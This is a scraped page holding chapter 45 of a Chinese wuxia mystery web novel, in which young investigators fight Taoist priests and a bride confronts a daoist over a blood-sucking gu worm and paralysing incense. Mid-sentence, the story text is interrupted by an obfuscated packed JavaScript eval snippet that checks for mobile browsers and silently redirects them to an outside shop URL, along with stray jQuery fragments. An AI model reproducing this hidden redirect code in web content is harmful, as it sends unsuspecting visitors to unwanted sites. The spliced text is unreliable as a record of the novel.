文趣网 > 其他小说 > 少年探案录 > 45. 第 45 章
    半月高悬,山中树叶被吹得沙沙作响。

    “?阿嚏!”

    躲在道长观前不的起眼树丛中的姜梨打完喷嚏,见身旁两人皆将目光转到自己身上,不自觉地眨了眨略有歉意的圆眼睛,连忙小声的解释:“今夜的风有些大,我没忍住。”

    随后,她又往灯火通明的道长观望了眼,担忧地小声问道:“他们应该没听到吧?”

    “今夜风声这么大,道观门口的那些道士们就算能听到也听得不真切。”叶乾解下自己出来时所穿的玄色暗纹披风,自然地朝姜梨递去。

    姜梨早已被夜里的冷风吹得身子骨瑟瑟发抖,见到被递到眼前的披风迅速就披了起来,再看向叶乾的眼神里闪烁着感激的光芒:“表哥,你人真好。我下辈子还给你当妹妹。我……”

    “嘘!”

    叶乾见到从道观里面走出一个道士样,伸手捂住姜梨那滔滔不绝的嘴巴。防止被道士们发现,他仔细盯着道士们的一举一动。

    “啊!”

    正在叶乾与傅琰小心翼翼地盯看着道长观,方才被强行闭嘴的姜梨突然从树丛中跳了出来,受惊似得大喊道:“有蛇!”

    这一惊呼声,把树丛的蛇给吓跑了,同时也将道观门口那三个道士的目光全给吸引到这边来。

    “你们是什么人?”三个道士中其中一个冲在前面指着姜梨三人大声喊道。

    就在这时,山上的夜神庙中传来了一声巨响,随之被夜幕笼盖住的天空中飞速地亮起了一束红光,霎时间又消失不见。

    “夜神庙出事了!”

    “阿妤,给我们发信号了。”

    三名道士异口同声喊完了前一句,听到姜梨说的后一句话,三人互相对视一眼。

    随即当中一名较年长的道士对另外两个道士吩咐道:“你们两人,一人进观里问问发生什么事,另一人留在这里同我一起将这三人抓回去审问。”

    说着,道士们就展开拳脚,毫不客气地朝姜梨三人攻击起来。

    见到朝自己面门袭来的掌法,姜梨转动脚腕,左脚脚尖点地向后退去,身子往后扬,右脚提起呈“勾”字状,瞅准时机,看准道士的胳膊处,右腿狠狠踢出,将还未落下的掌法踢散开去。

    姜梨不知庙中傅妍妤如今情况如何,便想速战速决,由防守换为凌厉的进攻。

    只是还未出手,姜梨深感自己丹田中真气急速流失,手脚皆使不出力气。

    拳脚相斗之间,片刻的失神便让敌方占据上风。

    只见那原先被踢倒在地的道士一眼察觉姜梨异样,便立马调动体内丹田之气,起身再次朝姜梨袭去。

    “你怎么了?”

    叶乾不能出手打斗,早早地退居一旁,坐等傅琰同姜梨两人了结那两个道士。谁知见姜梨打斗时突然面色失神,他连忙出手,赶在那道士的拳脚要落下的前一秒时出手拉走了姜梨。

    “表哥,我突然间没了力气。”姜梨双眼中流露出震惊的眼神看向叶乾,声音中带着微微疑惑的颤音回道。

    傅琰知叶乾是个不通武术的文弱公子,又见姜梨这边出现异样,应付完自己这边的道士便连忙飞身过来,同还想袭击姜梨同叶乾的道士打斗了起来。

    “我们上去吧!”傅琰三下两除二地快速解决完拦路的道士们,走到姜梨同叶乾两人面前,声音中带着些许紊乱气息地道。

    其实傅琰感受到自己体内的真气似乎有处被堵住似的,甚是不舒畅。

    他不知身体为何会出现这样的情况,暗自猜想或许是方才同道士打斗时岔了气,现下又以接应傅妍妤为重,故没有对此多想。

    “好!”

    姜梨快速应下,提脚就跟在傅琰后面朝夜神庙赶去。

    叶乾听到姜梨先前所说,心中对此异样惊觉诧异,本想让她等在原地,但还未来得及同她交代,就见姜梨紧随傅琰其后走了,只好跟上前去低声嘱咐姜梨:“你突然间没了力气,其中必有蹊跷。等会若是遇到歹人,便自己机灵地寻个地方躲起来,勿要出头逞强。”

    “知道了。”姜梨随口应下。

    方才早有看守道士进入道观通风报信,故此三人进入观中,早有众多道士们持剑在内等候。

    观内为首的道士见闯入的三人,大喊一声“无知小儿,不得擅闯!”,随后持剑朝着三人袭去。

    背后的道士们紧随为首道士之后,统统朝三人进攻。

    面对众道士围攻,傅琰拔出身后剑匣里的灵霄剑,挥剑迎战,将观内大部分道士引到自己这边。

    看着几个朝自己这边袭击过来的道士们,姜梨虽体内真气施展不出,但好在仅凭拳脚招式,尚且可以招架一段时间。

    见观内打斗场面,叶乾心中了然道士们不是傅琰对手。他知自己在打斗上帮不上忙,趁着打斗之际寻了处合适的位置躲了起来,见到有道士从暗处袭击姜梨便出声提醒。

    ……

    夜神庙内烛火昏黄,一袭红嫁衣的傅妍妤瘫坐在夜神神像前,原本梳得整齐的发髻此时有些发丝松动落在脸边。

    只见她手中握住一小小的青色瓷瓶,腿边躺着一支用掉了的烟花鱼信。

    看上去颇为狼狈,但傅妍妤的目光仍冷静沉着看着对面的敬仙道长,面上不见丝毫慌张。

    “傅姑娘,乖乖地当夜神的新娘不好嘛?”

    敬仙道长虽面上摆着和善脸色,耐心劝说着傅妍妤,但暗地里却将左手不动声色地放到背后,朝着后面的四名道士打着手势,让他们其中一人出去寻来三丈香点上。

    他一时不察才让傅妍妤得了机会向外发出了信号,好在早早的让山下的道长们做好准备,拦住叶乾等三人。

    “什么夜神新娘,都是你们的幌子。”

    傅妍妤精神紧绷但还记挂着探究夜神新娘谜团真相,此时敌强我弱,最易从敬仙道长中套出话来:“原本我以为你们是要□□或买卖妇女,只是如今你们种种所为看来不是我所想那样。”

    “哈哈哈!”

    敬仙道长听到傅妍妤的话不怒反笑,面上露出惋惜之色,眼神中颇为赞许地看着她:“你颇为机灵,要不是你与决明那个贱人有关系,我倒想留下你,为我所用。”

    “决明是谁?”

    傅妍妤见敬仙主动提及决明师姐,便故作不知之状,想要从敬仙嘴中套出有关决明师姐的事情。

    “傅姑娘,如今到这地步了,再装就没意思了!”敬仙道长直接戳穿道。

    见敬仙毫不相信自己,傅妍妤索性摊牌问道:“哦!你是怎么知道我和决明有关系?”

    “你手腕间的避毒手串。”敬仙眼神看向那黑紫玉珠手串说道,“决明那个贱人说过这手串只有她与她师妹才有,能避百毒。”

    “你与我师姐之间到底有什么过节?”傅妍妤厉声质问。

    “这事,等你今日到阴曹地府自己问她。”敬仙直接挥手让身后两道

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610520|205918||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    士上前去抓傅妍妤。

    “你们不要过来!”傅妍妤将手中青瓶举起,扬言道:“若是再上前一步,我就将瓶中的碳粉撒在烛火处,烧了这屋子,同归于尽。”

    见傅妍妤情绪如此激动,敬仙只能让两道士停下,与之僵持着,等待三丈香的药效发作。

    “你们故意提前在庙内燃迷香,好将我迷晕,随后再放入蛭吸蛊。”

    傅妍妤将在庙中发生的一切慢条斯理地简略说了出来,只是说完面上出现疑惑之色,语气求解地再问道:“蛭吸蛊,喜人血。凡是近活人之身,必将吸尽精血而休罢。我甚是不明你们费劲心思就是为了用人血喂养蛭吸蛊嘛?”

    “看来你不是表面看起来那么简单的富家小姐!”敬仙道长没有想到傅妍妤竟然识得蛭吸蛊。

    蛭吸蛊生长于南蛮之地,要阴湿之境才会存活下来,因此难以见到它出没于其他之地。敬仙道长之前也是从贵人那听说而得知,手中的蛭吸蛊更是贵人所弄来的。

    他记得贵人身边的侍从曾在私下提及过这蛊虫是南蛮王上供于皇室的贡品,除了南蛮之地的炼蛊师,就剩下皇室中人才会有。

    此时,敬仙心中不禁泛起嘀咕“傅妍妤到底是何身份”,南蛮的大部分炼蛊师都无法让蛭吸蛊出了南蛮还存活下来,除了南蛮王身旁的蛊王;但看傅妍妤的岁数相貌,也不像是贵人之前所提及那些皇室贵人。

    现如今不知傅妍妤究竟是何人,但敬仙道长心中越发觉得尽快处理了她,才是最安全的。

    敬仙道长眼珠子往旁边瞥去,透过门窗上映射出来的影子,心知三丈香已经在屋外点上。

    三丈香不同于用在之前庙中用的普通迷香,点燃后无色无味,三丈内的活物皆会四肢无力,身体瘫软,但意识仍在,可以清楚地知晓中药后所发生的一切事情。

    这香最初是世家贵族的纨绔子弟为了降服不听话的奴仆所让人研制出来,最后常常惹出羞愧自尽之事,朝廷就将这香列为禁药,不许大端朝臣民私自使用。

    敬仙道长同背后几个道士早早就在暗地里将三丈香的解药抹在口鼻之处,故此迷香对他们毫无作用。

    见时辰差不多了,他再次抬起右手挥动示意背后道士动手。

    “你们就不怕我将瓶中的碳粉撒出来?”傅妍妤见到道士们大步朝自己走来,似乎想要强行动手,便晃了晃手中的青色瓷瓶,大声威胁道。

    傅妍妤见自己的烟花鱼信早在一刻钟前就发了出去,现下师兄、姜梨及叶乾三人无一人赶到,便能猜想到他们三人定是被人缠住了,如今只能靠自己等会寻个时机先逃了出去再说。

    “只怕你此时已无力气再将瓶中碳粉挥洒出来。”

    敬仙道长唯恐事情再生变故,手指向傅妍妤,语气着急地下令:“在她手臂上割道口子,再放出蛭吸蛊,用伤口处的血将蛊虫引到她身上。”

    傅妍妤见道士们越走越近,又观神像背后有处可以在碳粉燃起时躲避,就抬起手打开药瓶准备将碳粉扬出来。

    不料连抬手的力气都没有,她只感觉浑身像是被无形的力量给捆绑住了似的,半点力气都使不出来。

    “不要费力挣扎了!你乖乖地让蛭吸蛊吸干你身上的纯阴之血,也许会少受点痛苦。”

    敬仙道长见傅妍妤双手胳膊费力撑着旁边的神像,想要借力站起来,脸上不禁地露出一丝嘲笑,并用着假惺惺的语气出声劝说:“乖乖认命吧!”